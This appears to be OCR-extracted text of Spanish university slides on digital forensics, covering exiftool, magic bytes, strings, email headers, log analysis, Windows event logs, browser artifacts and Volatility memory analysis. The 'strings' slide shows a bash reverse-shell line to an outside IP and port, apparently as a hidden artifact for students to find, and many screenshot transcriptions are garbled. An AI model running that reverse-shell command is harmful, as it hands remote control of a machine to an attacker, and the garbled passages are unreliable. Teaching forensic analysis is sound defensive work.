Modulo 1l: Forense
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u Universidad
Rey Juan Carlos



Parte |

1.;Qué es el analisis forense?
2.Metadatos (Archivos)

3.Emails

4.Logs

5.Registros de Windows
6.Navegacion web? (Si me da la vida)
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Parte |l

|.Volatility (Memoria RAM)
2. Wireshark (Trafico de red)
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- Buscar datos que nos interesen
dada una fuente de informacion.




{A qué podemos realizar un
analisis forense?

- Andlisis d€@rchivos >

- Analisis de discg
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iQué son los metadatos?

"Datos sobre datos”
Dan informacion como la calidad,
contenido o la fecha de modificaci:
de un archivo. En ellos podemos
encontrar informaciéon importante
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Los metadatos
. Datos basicos
- Magic Bytes

. Strings
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Exiftool

Podemos utilizar
esta herramienta
para ver los
metadatos

Argumento -u
para ver
metadatos ‘‘no
tipicos”

| - Forense - Archivos

> exiftool imagen_de prueba.jpg

ExifTool Version Number
File Name

Directory

File Size

File Modification Date/Time
File Access Date/Time
File Inode Change Date/Time
File Permissions

File Type

File Type Extension
MIME Type

JFIF Version

Resolution Unit

X Resolution

Y Resolution

Image Width

Image Height

Encoding Process

Bits Per Sample

Color Components

Y Cb Cr Sub Sampling
Image Size

Megapixels

. IPEG

: 8
3
: YCbCr4:4:4 (1 1)

12.40
imagen de prueba.jpg

: 334 KiB

: 2023:10:11 21:38:55+02:00
: 2023:10:11 21:38:55+02:00
: 2023:10:11 21:38:55+02:00

“rW-r--r--

JPY
image/jpeg
1.01

: None

1

1

1366

1018

Progressive DCT, Huffman coding

1366x1018
1.4
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| - Forense - Archivos

Exiftool

Comando util para exportar metadatos:

exiftool -a -u -gl archivo > metadatos.txt
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| - Forense - Archivos

remnux@remnux:~% pdfinfo -h

pdfinfo version 0.86.1
Pdfl nfo Copyright 2005-2028 The Poppler Developers - http://poppler.freedesktop.org
Copyright 1996-2011 Glyph & Cog, LLC
Usage: pdfinfo [options] <PDF-file=
- <int> : Tfirst page to convert
-1 <int=> : last page to convert

Podemos utilizar -box : print the page bounding boxes

. -meta : print the document metadata (XML)
esta herramienta BEBE . print all JavaScript in the PDF
-struct : print the logical document structure (for tagged files)
para ver IOS -struct-text : print text contents along with document structure (for tagged files)
-isodates : print the dates in IS0-8601 format
metadatos -rawdates . print the undecoded date strings directly from the PDF file
-dests : print all named destinations in the PDF
-enc <string= : output text encoding name
-listenc . list available encodings
-opw <string= . owner password (for encrypted files)
-upw <string= : user password (for encrypted files)
-V : print copyright and version info
-h : print usage information
-help . print usage information
--help : print usage information
-7 : print usage information
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[
william@ubuntu:~/Documents$ binwalk -Me fw.bin
Binwalk tamgub
_8F95BB0O.extracted
Podemos utilizar 68A180
esta herramienta e
para ver los

72C1B0O.extracted
DC39.crt
E16l1.crt
EBAF.crt
F224.crt
736648

metadatos -
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| - Forense - Archivos

Metadata2Go

https://www.metadata2go.com/view-metadata
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https://www.metadata2go.com/view-metadata

| - Forense - Archivos

Practica time

Metadatos
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| - Forense - Archivos

Magic bytes

i «xd background. jpg :
BOORDLO0: 00 1% 80 00 « . JFIF..... : COnJuntO de bytes que

00000010: 00 0000 S ] se encuentran al

POQROR20 Ba . . . . .
P R principio de un archivo.
POQPODL40

POQROR50 :

00000060 R . ldentifican el contenido
00000070

00000090
00000Da0: 00 38 . .

1] 1]
000000b0: 00 00 00 . i « Comando "xxd
000000CcO: 0000 DOO@ 0000 09
ooooeado: oa 00
000000eD: 00 00 00 21
000000f0: 3141 5161 32 23
00000100: 42 52 7227 090a .
00000110: 25 2627 3536 3738 393a %" ( )*456789:

ENETETETE [ = | [+ = [+ L] L = Al

https://en.wikipedia.org/wi
kKi/List of file signatures
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https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures

| - Forense - Archivos

Practica time

Identifica el archivo
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| - Forense - Archivos

Magic bytes

A file background.jpg

ackground. jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1920x1080, components 3

. |dentificacion automatica
. Comando "file"
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| - Forense - Archivos

Practica time

Identifica el archivo
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| - Forense - Archivos

Strings

A - strings randomFile
/1ib64/1d-1inux-x86-64.50.2

__1libc_start _main
~_cxa_finalize

_ITM_HeregisterTMCloneTahle

~_gnon_start__ Muestra las cadenas
_ITM_registerTMCloneTable CjEB tEE)(t() ifT]F)fifT]it)IEBES

I/bin/bash -1 > /dev/tcp/104.11.183.41/9443 <51 2>81

GCC: (Debian 13.2.0-2) 13.2.0
scrtl.o

__abi_tag

crtstuff.c

deregister_tm_clones
__do_global_dtors_aux
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| - Forense - Archivos

Practica time

Info oculta
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| - Forense - Emails

{Qué es la header de un correo?

Contiene info del correo:
. Origen
- Destino
. Trayecto

Ayudan a identificar:
. El servidor de origen.
« Direcciones IP involucradas.
. Posibles falsificaciones o "spoofing".
. Informacidn sobre el agente de usuario (cliente de correo
utilizado).
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| - Forense - Emai

Elementos importantes

Criginal Message

Meszage ID

Created at: Thu, Mar 24, 2022 at 731 PM (Delivered after 1 second)

From: Bookmark Team <infoi@bookmark email= Using Sendy (hitps.sendy.co)

To:

Subject: Whal's Mew at Bookmark: Menu Layouiz, Smar Copy and More Mew Features
SPF: PASS with IP Learn more

DEIM: "PASS with domain bookmark.email Learn more

Download Crigina Copy o elipboard

Deliverad-To

Recelived: by with SMTPE id
Thu, 24 Mar 2822 18:31:431 -@7e@ (PDT)
¥-Google-Smtp-Source: ABAhPIwhbH+10rpQeghilatfHlDPgdixcr

-Received: by

FEJAILkpbs ¥ Y2 2M6dpEXPIVECqdoxbnKneL1FIYSEL
SMTP id tIX-28@28al7@9e2blezAchedlsldifadeSlonr7@lB888plr . 16. 1648143183530,

2082 a17:5082:b2@2:bA:151 :4F64:e516 with
Thu, 24 Mar 2822 18:31:431 -@7ea (PDT)

ARC-5eal: I=1; a=ria-shal56; T=164B143183; cv=none;
d=google.com; S=arc-28168E16;
b=PyZIWjpBaD5de2labt jxD2R+2culBylwgRedzCorMidGal FAIS1CsZ2EneRQ1-+HH+-H N1
kTORpVQok TAGCHNEC eMRC FEnKETRL Q2 x hORCmpghEAH 2T JAGEFSnelg tefSU0VLI KHGK+
20+GnHJuhOPdKkDg ZL URCSWT aNHInE rz Q] 29RnfAoCxyvieGN -4 8VE/ KGsh3eSESRELL
13jREVESD+ZETSIThwukKnEHL 3Zx g Smt2enel iTsmdId / FHy KUgy TMnYwibF LSGRGEN T x
Xnbjryglax+¥E2IM,/ naY XEvi GV kHOMOEXCiFhdSEUEE tpdd /b@EPPFUZC g0 jd THW

r
a3
a3

]
-

jdba==
ARC-Hescage-Signature: i=1; a=rsa-shalbSé; c=relaxedfrelaxed; d=google.com; S=arc-28168816;
h=feedback-Ld:content-transfer-encoding :mine-version: list-unsubscr-iba

imessage-id:subject:reply-to:from:to:date-dkim-signature

rdkim-signature;
bh=BINChTgxtrnv3Elg+cdcipdRatEn? I tSUE+20F gDMRA= ;
b=DkFtmallg g0l pd SWyKfEeiohHBALe JHLTHLT 1+ udGmz QrnoJEPhoT udTLulWTENN AR . L,

19FKEa? 5q3Y JAQFswTHa30grdJGNEZ 112 SHM2 Bw j anplh SR+U1mk K 15X0 ixKe B U1F Clara Contreras e Ignacm Sanchez
xvICk1151rRSZEXnSRKAERP]

ZIT7G10oMDvDE 265 AN ShToZ)rwbE SL G153y IYnrf

[ = s

¥5]



Criginal Message

Message-ID

Created at: Thu, Mar 24, 2022 at 7-31 PM (Delivered after 1 second)

Bookmark Team <info@bookmark email= Using Sendy (hitps_isendy.co)

To:

Su bject What's Mew at Boockmark: Menu Layoutz, Smart Copy and More New Features
SPF: PASS with IP . Learn more

DEIM: 'PASS' with domain bookmark.email Learn more

Download Crigina

Delivered-To:
Received [ with SMTP id
WU, 24 Mar 2822 16:31:431 -@7@@ (POT)

) SO LTIV P Bl - ABdhPIuhbi+]0rpYeghlLafHIDPgdiXorYEIdILkphs yYYZ 2M46dpExP IVEc qdoxbnKneI1FTYSET
A-RECELved . Oy cooe-al?:98i:bied:bB:151:4Ff64:-e516 with SMTP id tI-zeelealveagelblfzacbedlsldTodeslonr7eloB88plr.16. 1648143183535;
Thu, 24 Mar 2822 18:31:431 -@7e@ (PDT)

ARC-5eal: i=1: a=rsa-shalSb; t=164E1431&3: CW=none:
d=google.com; s=arc-28168E16;
b=PyZH jpRabsded 3abt jxD2R+ Zculy lwgRed 2 CorMidGol FATSICAZ 2EmeR)1+IH-HN1

kTDkpVok TAGCNEC eMEC /EnEGTRL 12 xhORCmpghEdH2 L JAgEFSnel g tef SOV kWG +

2i+GnHGEhIPAKKOE 2L UROSWY aNHInSr2 QI 89RnTADCE y kGl | =2 BVES KGsh 3a5B5REUL

i3 REVASA+ZEATSIThwukKnGHC 3ZxgSmt 2eneliTamdId S FHyKUgy TMnYwibF LSGRGER T x

XnbjrYq2Ax+YolIM/ nAYXevt cGIVENKHEMOEXCIFhdSEUEE Lt pdd /8B PPFUZC g0 d 7 H

jdbA==
ARC-Hessage-Signature: i=1; a=rsa-sha2ié; corelaxedfrelazed; d=google.con; S=arc-20168E16;
h=feedback-Ld:content -treansfer-encoding :mime-version: list-unsubscr Dbe
imessage-idosubjectireply-to: from: to:date-dkim-signature

tdkim-signature;
th=BIVChTaxtrn¥iBlg+cdcipdRatEin? I LSUE+2OF g R A= ¢
b=DkFtmallgsgll/f pd SW¥wEFKeiohHAALe HETHI? 1 +udGmez Jraold PhoT udTLukt Eud an
ASFKXe? g3y JAQFswTHaI0Erd JOGNEZ1L 2 SHM2 By | SnplMhSR+UlmkK 15X0 s KeB UL
ZITTL1DeMDvDE 269t inx ShToZ)rwbE S LG 3y IV IyS jxvBCk1 151 rRSZEXnSREABRP]
T S T T e e e e Clara Contreras e Ignacio Sanchez



| - Forense - Emails

TOOLS

MHA (Mail Header Analyzer)

Harvester

Nano, cat, vim, etc ;)

*hitps://mha.azurewebsites.net
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| - Forense - Emails

reot@kalli:~/Desktop# theharvester

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing S5L sites. Check Wfuzz's documentation for more information.

LR R R R R R R EEEEEEEEEEEEEEEEEREEEEEEEEEEEEESEESEEEEEEEEEETEE.
*

Pl

Coded by Christian Martorella
Edge-Security Research

cmartorella@edge-security.com

*
*
*
*
*
TheHarvester VYer. 3.0.0 *
*
*
*
L L L L L L L LT L T T s

Usage: theharvester

Domain to search or company name

data source: baidu, bing, bingapi, dogpile, google, googleCSE,
googleplus, google-profiles, linkedin, pgp, twitter, vhost,

virustotal, threatcrowd, critsh, netcraft, yahoo, all

ctart in result number X (default: @)

verify host name via dns resolution and search for virtual hosts

save the results into an HTML and XML file (both}

perform a DNS reverse query on all ranges discovered

perform a DNS brute force for the domain name

perform a DNS TLD expansion discovery

use this DNS server

port scan the detected h n he for Takeovers (80,443,22,21,8080)
limit the number of result work with(bing goes from 50 to 50 results,

google 100 to 100, and pgp doesn't use this option)
use SHODAN database to query discovered hosts

Examples:

theharvester -d microsoft.com -1 500 -b google -h myresults.html
theharvester -d mi : .com -b pgp

£}
t

e
heharvester -d mi -1 200 -b linkedin
ne

harvester -d app!] -b googleCSE -1 500 -s 300

&

root@kali:~/Desktop#

rnacio Sanchez




| - Forense - Emails

TOOLS

MHA (Mail Header Analyzer)

Harvester

Nano, cat, vim, etc ;)

*hitps://mha.azurewebsites.net
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https://mha.azurewebsites.net/

| - Forense - Emails

Practica time

Analiza el email
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| - Forense - Logs

iQué es eso de los logs?

Archivos de registro  Literalmente de todo Lo que ocurre

Tipos:
- Syslog (Linux/Unix)
- Windows Event Logs
- Logs de Servidores Web (Apache/Nginx)
. Logs de Dispositivos de Red (Routers, Firewalls)

Ayudan a:
- Rastrear actividades sospechosas.
- Reconstruir eventos.
. |dentificar intentos de intrusion.
. Obtener datos utiles como direcciones |IP, comandos
ejecutados, etc.
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| - Forense - Logs

TOOLS CAT

Command line pasa a ser tu mejor amiga

Hay mas, tranquilos

GREP LESS
TAIL
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| - Forense - Logs

TOOLS

ﬁ‘ l0og2timeline

Clara Contreras e Ignacio Sanchez
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| - Forense - Logs

TOOLS

# Tmelne ighligh W
Log2timeline Timeline2GUI
Input Data
¥ Timeine Highlight CSW File  CfUsers/parvathy/Downloads/winkp.cse/wingp.osy Sehect C5Y File |
Filtesr Columns ﬂ Load daka Samrch Claar Svw am 5N |

Input Data

Ijlul FlIE I:IIIUEE Fedresd Wiss Limtmbad §wss

- | s | AT | saEce % ce by
Filter Colurmes SEE || 2007-04-12 17:09:3k I T REG MTUSER foay Caontent Modificaticn Tims - BEH-101-¥FVM [\Sofrwara'\Micresoftiintamet ExplorarSecurity] 1 *

| : - 2M7-0d-18 170236 uTC ki REG NTUSER ey Content Madificstion Time - BEH-101-¥PYM [\Software\Microsoftlintemet Bxgplorerfacurity'yH
E Feduced View Dglaied View | SBE | 2007-04-12 17:05:35 uTC L REG MTUSER ey Content Modificaticn Tims - BEH-101-4FVM [\Sofrwsara\Microsoftiintamet ExploretSecuritgF
i- m SES | 2AT-04-18 17:09:34 uTC kd REG NTUSER key Cantent Madification Time - BEH-101-¥PYM [\Software\Microsett\intermet ExplorerServices)
| g EET oy 580 | 2047-04-18 17:08:34 WTC - REG MTUSER ey Content Maodification Tims - BEH-101-4FVM | [\Software\Microsoftiinternet Explorer\Sestings]
53 5513 oiF 591 | AMT-D4-1E 160852 UTC [ REG MTUSER ey Cantent Madification Tims - EEH-101-%PvM [\Software\Micrassitiintemet Explorer\Toolkar] |
| 58 a4 iy 592 | A0AT-04-18 17:080%8 UTC [T REG MTUSER key = Typed U Content Mod|flcation Time . BEH-101-¥PVM [\Software'Microsofthinternet Explorer\TypedUBL
[ 54 TES 017 593 | 2AT-D4-1E IT0Ge3A UTC [ B REG NTLSER ey Cantent Madification Tirs - BEH-1H-%FvM [\Software\Micrasaltiintemet Explorer\Typed URL
| ‘5% Bl 17 594 | 200T-04-18 1T:040RE UTC ML REG WTUSER key Content Modificathon Time . BEH-101-¥PVM [\Software'Microsoftlintermet Explorer\URLSeard)
| 55 BT 017 L 204 7-0d-18 1705353 UTC %] REG NTLSER ey Cantenl Madification Ties - BEH-104 -¥FI :'-,."'rur'l'.-"ur-'-,Mil el Keyhoand ] YWalue: No values
i 57 505 | 2017-04-18 17:04:55 uTc T ] REG MTUSER ooy Content Modification Time BEH-101-4FM | NSofrware M| crosoft Keyboard Natiee bedia Flaf
| 5 - Lav 2 T-Dd-18 17:05:33 LTC L HEG WTUSER ey Cantent Modification Tims - BEH-101 -X¥FVYM :'.,.'E-nl"l-.v.mP'.,Miru.‘rlh:-‘ll"'.lhhl-hrm-rﬂ'l.".lil'.-.i- hedia Fla
| s |1148 a1 598 | 2017-04-18 17:0%:33 | UTC [M_.  ]rec MTUSER ey Content Modification Time BEH-101-XPVYM [\SoftwareMicrosoftsMediaPlayer] Value: Mo val
[ B0 1149 o7 589 | 2007-D4-18 17:09:33 Ut T AEG MTLUSER ey Cantent Modification Tirs = BEH-10-5FVM [\Software\MicrosoftiMediaFlayer Batteng] Valus
. Bl 1154 Sl B0 | 2017-04-18 17:05:33 uTcC L] REG MTUSER ey Content Modification Time - EEH-101-XPVI| [\Software' i crosoft Med | aPlayer Basterd Preze
= 1155 017, &1 201 7-D4-18 1709033 uTC T REG MTUSER ey Cantent Madificaticn Tirss g BEH-1H-AFVM | [\Software\Microsoft\MediaPlayerBatten/\Frese
| ‘B3 1156 mip. &0 201 7-0d-18 170553 T L] REG MTUSER ey Caontent Modificstion Timme - BEH-101-XPVI [\Softwareicrosodt’ Med | aPlayer Batterd Preze
= 1157 Sy 803 | 2007-04-18 170533 UTC M REG MTUSER foay Cantant Maodification Tims - BEH-101-2FVM | [\Software\Microsoft\hMediaFlayerBattan/\Frase
. 65 1158 aoiy B0d | 2007-0d4-18 1705933 WUTC W REG MTLUSER ey Cantent Maodification Time 5 BEH-101-¥PM [NSoftware\Microsodt\MediaPlayerBattery\ Frese
| B8 1159 Sty 805 | 2007-04-12 17:05:33  UTC i REG MTUSER ey Contant Maodification Tims - BEH-101-4FVH [NSoftware\Microsoft\MediaPlayerBattan\ Prase
| BT 1160 oy 606 | A0AT-04-18 170633 UTC I REG MTLUSER key Cantent Madification Time . BEH-101-¥PVM [\soFtwareiliorosodt) MediaFlayesd Battery Prese
| [Em LBl So1p B0 || 2017-04.18 17:05:33 uTc L REG MTUSER gy Content Modificaticn Tims . BEH-101-4FVYM [NSoftware\Microsoft\MediaPlayerBatten/\ Prose
| B9 1152 017 608 | A0UT-04-18 170633 UTC I REG MTUSER ey Cantent Madification Time = BEH-101-¥PVM [\SoPrwareibliorosedt) MediaFlayesd Battery Prese

i 1163 a1y 609 | 2007-04-18 170551 uTe T REG MTUSER koery Content kodificaticn Tims BEH-101-4FvM| [\Software'Miorosofth MediaPlayesBattery Prese| |

| 1164 2017 t 3

T2 1165 H17-04-18 17058383  uUTC M... REG NTURER key Content Modiflcathon Tl . BEH-101-HPVM [\Software\Microsofty

73 1168 JO017-04-18 16:10k55 UTC M., REG HNTUSER key Content Modification Tirs - BEH-101-XFYM [\Software\M

T4 1M H017-04-18 1610:50 UTC M... REG NTUSER key Content Modiflcation Tims . BEH-101-NFVM [\Software\ M

- . L s e Lot L R tud infs -r: rat ans urame he d L ik . >

https://github.com/log2timeline/plaso
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TOOLS

Windows Event Viewer

| - Forense - Logs

@ Event Viewer

File Action View Help

= 2@ HE

2] Event Viewer (Local)
 Custom Views
v [ Windows Logs
{s| Application
{+ | Security
£ Setup
{s] System
{ | Forwarded Events
v | Applications and Services Logs
m Active Directory Web Services
{s| DFS Replication
{s| Directory Service
{s| DNS Server
{s | Hardware Events
{s] Internet Explorer
{s | Key Management Service
| Microsoft
| OpenSSH
§s] Windows PowerShell
-4 Subscriptions

Security Number of events: 14,652

Keywor...
i... 2/18/2024 4:38:04 PM

> a
<

A, Audi..
€ Audi...
A, Audi...
< Audi...
A, Audi..
A Audi...
A Audi...
A, Audi...
< Audi...
A, Audi..
Q,_ Audi..
Q_Audi...
A, Audi...
€ Audi...
€ Audi...
"'.-lLQ_Audi...
A, Audi..
< Audi...

Date and Time

2/18/2024 4:38:04 PM
2/18/2024 4:38:04 PM
2/18/2024 4:38:04 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:38:03 PM
2/18/2024 4:22:13 PM
2/18/2024 4:22:13 PM
2/18/2024 4:22:13 PM

= FAAFRATE 8 Y AT R

Source

Microsoft Windows security a...

Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...
Microsoft Windows security a...

oA e VAT

Event ID

5379
2379
3379
5379
5379
3379
3379
5379
5379
5379
5379
5379
5379
2379
3379
5379
5379
3379

ke

Task Ca.. #

User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...
User A...

T B L «

BB

Event 5379, Microsoft Windows secu... &

E| Attach Task To This Event...

Open Saved Log...
Create Custom View...
Import Custom View...
Clear Log...

Filter Current Log...
Properties

Find...

Save All Events As...

Attach a Task To this Log...

View
Refresh
Help

Event Properties

Copy

»
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| - Forense - Logs

Practica time

Analisis de logs

Encuentra la direccion IP del atacante que logré acceder
al servidor SSH, la fecha y hora en que ocurrié.
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| - Forense - Registros Windows

Como no, Windows

Windows Event Logs Archivos .evtx

Categorias:

. Security: Eventos de acceso, autenticacion, cambios en
privilegios, etc.

- Application: Eventos generados por aplicaciones especificas
Instaladas en el sistema.

- System: Eventos relacionados con el hardware, servicios del
SO, y errores de sistema.

- Setup: Eventos relacionados con la instalacion de programas y
actualizaciones.

Ruta: C:\Windows\System32\winevt\Logs\

Clara Contreras e Ignacio Sanchez
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TOOLS

Visor de Eventos de Windows

{2 Visor de eventos = L] >
Archive Accion  Ver Ayuda
o= |25  HE
Q Visor de eventos (local) Sistema MNimero de eventos: 22.016 Acciones
» | Vistas personalizadas ; : = F T 2 [l
v [ Registros de Windows Mivel Fecha y hora Crigen
& Aplicacién A, Advertencia  29/1/2019 10:5%:10a. m.  DNS Cl... ;= Abnrregistro guardado...
E‘TJ Instalacion W Errar 20018 5T 158 m Pickah % ; ]
= P » |mportar vista personalizada...
iﬂ Sistermna
§?| Eventos reenviados Evento 1014, DMS Client Events b4 Vaciar registro...
| Registros de aplicaciones y s G . | D - ' . . ¥ Filtrar registro actual...
'* g Sy Enera etalles
4 Suscripciones - D B et
Se agoto el tiempo de espera para la resclucion del % Buscar...
ML= F'I;F'Iﬂll"ll"l r"nlnr rnrl-'i-ﬂ'rlr:.r nhlc. rﬂH'FiﬂllFﬂl"ﬂr Fe
bl Guardar todos los eventos com...
PLARUL GE G GEHUCEE Adjuntar tarea a este registro...
Origen: DS Client Events Ver >
|d. del 1014
3 Gy Actualizar
Mivel Advertencia
Ayuda b
Usuario: Servicio de red
it e i i Evento 1014, DS Client Events .
Codigo de operacion: Informacion : ) i
< > [=| Propiedades de evento Clara Contreras e Ignacio Sanchez
£ > At e o) b
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TOOLS
Si no podéis vivir Sin command Lline

LogParser

gt Log Parser 2.2

icrosoft (R>» Log Parser Uersion 2.2.18
opyright (C>» 2084 Microsoft Corporation. All rights reserved.

LogParser [-i:<{input_format>] [o:<{output_format>]1 <5QL gqguery:
File:<guery_filename[?paraml=valuel+...]
[{input_format_options>*] [{output_format_options*]
[gLz0Mi0FF1] [e:<{max_errors>] [—iwl:0NIi0FF11
[stats[:0NIOFF1] [saveDefaultz]l [—guerylnfol

LogParser —c¢c —i:<input_format? —o::<{output_formatl <from_entity:
£into_entity? [{where_clause?] [<input_format_options>]
[{output_format_options>*] [-multiSitel:=0NIOFF1]
[g[z0Mi0FF1] [-e:{max_errors>] [-iwl:=0NIQFF11
[stats[:0MI0OFF1] [—queryInfol

—i:<{input_format:?> = one of IISW3C, NCSA,. IIS, IISODBC. BIN, IISMSID.
HITPERR. URLSCAW. CSU, TSU,. W3C,. AML,. EUT, ETWU.
METMOM,. REG. ADS, TERTLIME. TEHTWORD,. F5. COM (if
omitted, will guess from the FROM claused

s e Ignacio Sanchez
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TOOLS
Si no podéis vivir sin command line ni Linux

EVTXtract

git clone https://github.com/williballenthin/EVT Xtract.git

ras e Ignacio Sanchez



| - Forense - Registros Windows

Practica time

Analisis de registros
Windows

Encuentra la direccion IP del atacante que logré acceder,
la fecha y hora en que ocurrié y la hora exacta en que el
atacante elevo sus privilegios.
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| - Forense - Navegacion Web

Pero web no es otra categoria????? =

La navegacion web deja rastros importantes en los dispositivos.

Cosas importantes:

- Historial de Navegacion

o Google Chrome: Archivo History (base de datos SQLite).
o Firefox: places.sqlite.

. Cookies: Fragmentos de datos almacenados por los sitios web que contienen

informacion sobre sesiones, autenticaciones y preferencias del usuario.

o Google Chrome: Archivo Cookies (base de datos SQLite).
o Firefox: cookies.sqlite.

. Cacheé de Navegacion: Recursos descargados (imagenes, scripts, etc.).

o Chrome: Directorio Cache/.
o Firefox: Directorio cache2/.

Clara Contreras e Ignacio Sanchez
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| - Forense - Navegacion Web

Pero web no es otra categoria????? =

La navegacion web deja rastros importantes en los dispositivos.

Cosas importantes:

- Archivos Descargados
o Chrome: Archivo History.
o Firefox: places.sglite y downloads.sqlite

- Formularios guardados: Todo lo que el navegador autocompleta.

o Chrome: Almacenado en el archivo Web Data.
o Firefox: Almacenado en formhistory.sqlite.

Clara Contreras e Ignacio Sanchez
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Il - Forense - Memoria RAM

iQué es la memoria RAM?

- Memoria volatil que contiene el ordenador

- S0lo tiene contenido cuando esta conectada a la corriente y
cuando se apaga el ordenador, Ciao datos.

- Se almacenan de forma temporal todos los programas,
procesos, librerias, etc...

- Es posible capturar una imagen de la memoria RAM
mientras esta en uso. Permite saber los programas que se
estaban ejecutando, archivos utilizados, comandos de la
shell...
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iQué es Volatility?

e Herramienta que permite analizar un
"dump" de memoria, es decir, un
archivo con una imagen de una
memoria RAM

e Implementada en Python

e Preinstalada en la maquina del curso

$> volatility -h

Il - Forense - Memoria RAM

Clara Contreras e Ignacio Sanchez
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Volatility: sintaxis

COMANDO

$> volatility -f ARCHIVO DEL DUMP --profile=PERFIL PLUGIN

Vol LT,

Clara Contreras e Ignacio Sanchez
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Lo primero de todo...

La forma de analizar los dumps varia dependiendo del Sistema
Operativo.

Es necesario, por tanto, saber en que SO estamos.

imageinfo: detecta automaticamente el SO

[r_f )-[~/Documentos/dump |
vol.py -7 dump.raw imageinfo

Volatility Foundation Volatility Framework 2
INFO : volatility.debug : Determining
Suggested Profile(s) : Win7SP1x64

Clara Contreras e Ignacio Sanchez
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Il - Forense - Memoria RAM

Conexiones

Volatility nos permite saber las conexiones que estaban abiertas
cuando se hizo la captura

connscan: muestra Las conexioneS abiertas

volatility —f imagen.vmem ——profile=WinXPSP2x86 connscan

Volatility Foundation Volatility Framework 2.6.1

Offset(P) Local Address Remote Address

0x01lal25ab50 0.0.0.0:10206 172.16.98.1:660606

CO'\QCthO Q Clara Contreras e Ignacio Sanchez
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Il - Forense - Memoria RAM

Procesos |

Los procesos son los programas gue se estaban ejecutando en
la maquina. Se determinan por un numero unico para cada
proceso, llamado PID

pslist: muestra Los procesos

~/Downloads
- memdump2.raw rofil Winl@=64_1904°
Foundation Volatility Framework 2.6.1
PID PPID S Wowb4 Start

2024-09-26 13146:47 UTC+0000
2024-09-26 13:46:45 UTC+0000
2024-09-26 13:46:47 UTC+0008
2024-09-26 13:46:50 UTC+0008
2024-09-26 13:46:50 UTC+0008
2024-09-26 13:46:50 UTC+0000
"'ﬁ"lq B9-26 13:46:50 UTC+0000
2024-09-26 13:46:50 UTC+0008
IAIE-_AG-TH 1T AAIEA LITCLAAAR

bb@e7b@7e04@ Sy
bb@e7bDld/ /040

I

T4
.
I

==
| o |

e

bb@e7bf20040
I::II::IL"I-—-"’-—-*J:' 'l-u.’l

v LA -

[y
J L
1 BJ T

Clara Contreras e Ignacio Sanchez



Universidad

Rey Juan Carlos

Il - Forense - Memoria RAM

Procesos |l

Los procesos son los programas gue se estaban ejecutando en
la maquina. Se determinan por un numero unico para cada
proceso, llamado PID

pstree: muestra los procesos de manera mas grafica

~/Downloads

f memdump2.raw rofile="Winl@=x64_
Volatility Foundation Volatility Framework 2.6.:
VEE

bb@e7b@7e@40:System - ; 157 D 2024-09-26 13:46:47 UTC+0000
thbBe7blodd4d :MemCompression B
-09-26 13:46:45 UTC+0000

-09-26 13:46:47 UTC+0000
24-09-26 13:46:50 UTC+0000
Jﬁhq B9-26 13:46:50 UTC+000@

A 2024-09-26 13:46:50 UTC+0000

2024-09-26 13:46:5@0 UTC+20@0

i

2024-09-26 13:46:51 UTC+00@0

F=

FATH_AG—T6H 13,6 "G T LM

I~

fbb@e7bld7040:Registry

@1fFF+bnﬂ~Tb+Jﬂﬂ4ﬂ. SMss.exe

@xffffbble7ebc3l4d:csrss.exe

@xffffbbPe7eech5080 :wininit.exe
@=ffffbb@e7ef@5080; :5ervices. exs
@xffffbbBef2e5a2c@:svchost. ex:
ﬂ*FFf+bbﬂeu?“+Eﬂuﬂ.udJ exXe

fwfFF+FEhhfiaRT7336Trli~cvwirhnct

[ O T T L R

=
I =
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Il - Forense - Memoria RAM

Comandos de terminal

Tambien es posible fisgonear los comandos que se han
ejecutado en el CMD (la terminal de Windows)

cmdline: muestra Llos comandos ejecutados

[:—i )-| ~/Documentos/dump |

vol.py dump.raw "Win7SP1x64" cmdline
khkkkkhhhkhkhkhkhkkhkhkhhkkhkhkhhhhhkhhkhkhikikhhrhikhdhhdhhhhdhdhkhhhihhhhkhhhhhkhkhhkhhhkhhhhhkhikk
svchost.exe pid: 3656

‘Eﬂmmand line : C:\Windows\System32\svchost.exe -k secsvcs
FEEIEIEIIIAIAIIIEEIIEIIIIZZZZZFIIIRARIRIIIIFFZIZIZZRFZFZFZFZZF755FF7F7khhhhhhhiidhhhhhhhikxk

7ZFM.exe nid: 868

‘Eﬂmmand line : "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Desktop\ficheroSecreto.7z"
kkhkkkkkhhhkhkhkkhkkhkhkhkkhkkhkhkhkhhhhhhhkhhkikhkhhhkhdhhdhhhhihhhhhhhhhkhhhhkhkhkhhkhhkhhhhhkdkkk
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Archivos |

Cuando el usuario necesita un archivo, este se carga
temporalmente en la memoria RAM

filescan: muestra Los archivos que se encontraban
cargados en memoria

~/Downloads
- memdump2.raw rofil Winl@=64_19841
Foundation Volatility Framework 2.6.1

Access MName

O=0000bbde7bS8 “anﬂ 32769 1 RWDrwd \Ds ZWclfs\Device\HarddiskVolume2\$Extend\$RmMetadata\$Tx
0=x00@0bb0e7b898abd 3 B RW-rwd “\Dev ::RH1rdd15kvﬂ1UNeEH$LﬂgFile

O=@000bbde7bS8 ““b+ﬂ 32 @ RW-rwd “Device\HarddiskVolume2\$Directory
P=xPRERbbRe7hbB90dER - B FEW-rwd “\Device\HarddiskVolume2\$MftMirr
P=xPPR0bbRe7bb@2370 32766 1 R—rwd “\Device\HarddiskVolume2‘\Windows' \5 e peulb.ttf

0=0000bbRe7bb@4440 ' B R—r-d ‘“Device\HarddiskVolume2“\Program W1 wdﬂwahnﬂ: ymicrosoft. wlﬂdﬂw;*
